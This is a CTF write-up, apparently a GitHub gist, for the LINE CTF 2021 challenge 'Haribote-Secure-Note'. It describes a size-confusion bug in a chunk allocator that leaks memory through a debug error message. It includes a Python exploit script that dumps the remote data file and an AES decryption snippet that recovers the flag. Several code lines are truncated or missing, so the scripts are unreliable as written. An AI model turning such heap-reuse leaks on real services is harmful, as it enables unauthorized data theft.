Skip to content

Instantly share code, notes, and snippets.

Created March 26, 2022 23:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mdsnins/2912b9656c837e5190364136b307c682 to your computer and use it in GitHub Desktop.
Save mdsnins/2912b9656c837e5190364136b307c682 to your computer and use it in GitHub Desktop.
[LINE CTF 2021] Haribote-Secure-Note


LINECTF 2021 - Web
Writeup by Payload as Super HexaGoN

Free list

When the chunk is deleted or updated with larger size, it frees the chunk and add to empty list with the original size.

Size Confusion

We can give arbitrary length during creating the chunk, it's considered to determine the new chunk can be located in the block in the free list.
However, since there doesn't exist the check of the length, we can deliver arbitrary length to force using empty list's chunk.

And also, there is some debug log which shows the 4 bytes of raw ball file and the offset where the error occured.

Our team used following small chunk reusing can read 4 bytes from arbitrary offset.

append("a" * 0x5) # key : k1
append("b" * 0x5) # key : k2
update(k1, "a", 0x10) # force to free the 0x5 size chunk
append("\x00" * 0x31 + struct.pack("q", offset(addr)), 0x3) # this will allocate 0x31 bytes at the first small block
get(k1) # show 4 bytes from addr

However, we must consider some race conditions. Thus, to increase the stability of our exploit, we wrote the python script to leak remote ball file. The following script is by @parrrot

#!/usr/bin/env python3
from me7_ba11.meatball import MeatBall
import requests
import json
import os
import uuid 
from pwn import p64

LOCAL = False
secret = ('\x00' * 2048).encode()

AP = ""
UP = ""
GET = ""

# try:
    # os.unlink("meat.ball")
# except:
    # pass
mb = MeatBall("meat.ball", {"keyForEncryption": secret})

def append(data, length = None):
    global LOCAL, AP, mb
    if not length:
        length = len(data)
    if LOCAL:
        x = mb.append({"data": data, "length": length})
        key = list(x.keys())[0]
        return key
        r =, data = {
            "length": length,

        x = r.json()
        key = list(x.keys())[0]
        return key

def update(key, data, length):
    global LOCAL, UP, mb
    if LOCAL:
        return mb.update({"key": key, "data": data, "length": length})
        r =, data = {
            "length": length,"key": key,
        return r.json()

def get(key):
    global LOCAL, GET, bg
    if LOCAL:
        x = mb.get({"key": key})
        return x[key]
        r = requests.get(GET + "?key=" + key)
        # r = r.json()['error']['reason']
        r = r.json()['error']['reason']
        q = r
        r = r[r.index("b'"):r.index("->")]
        r = eval(r)

dddd = open('./dump.bin','wb')
k1 = append('a' * 0x3000)
k2 = append('b' * 0x3000)

for i in range(1000000):
    c = b'Q'*0x3000
    c+= bytes.fromhex('be1cffff000000000000014000000000000000000051b2fee86b274915b25c7a26fab5d1d0')
    c = c.replace(bytes.fromhex('ffff00000000'),p64(i*4))



For some reason, we couldn't read the ball data directly, thus we wrote the simple script to decrypt the ball data

ct = "" #b64 encoded data in ball file

secret="" #uuid 

c = b64decode(ct)


iv = c[:16]
ct = c[16:]

secret = secret.encode("utf-8") + kfe #kfe is 2048 bit secret token

private_key = hashlib.sha256(secret).digest()
cipher =, AES.MODE_CBC, iv)
encoded_raw = cipher.decrypt(ct)


The flag was in 11th entry of the remote ball file.


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment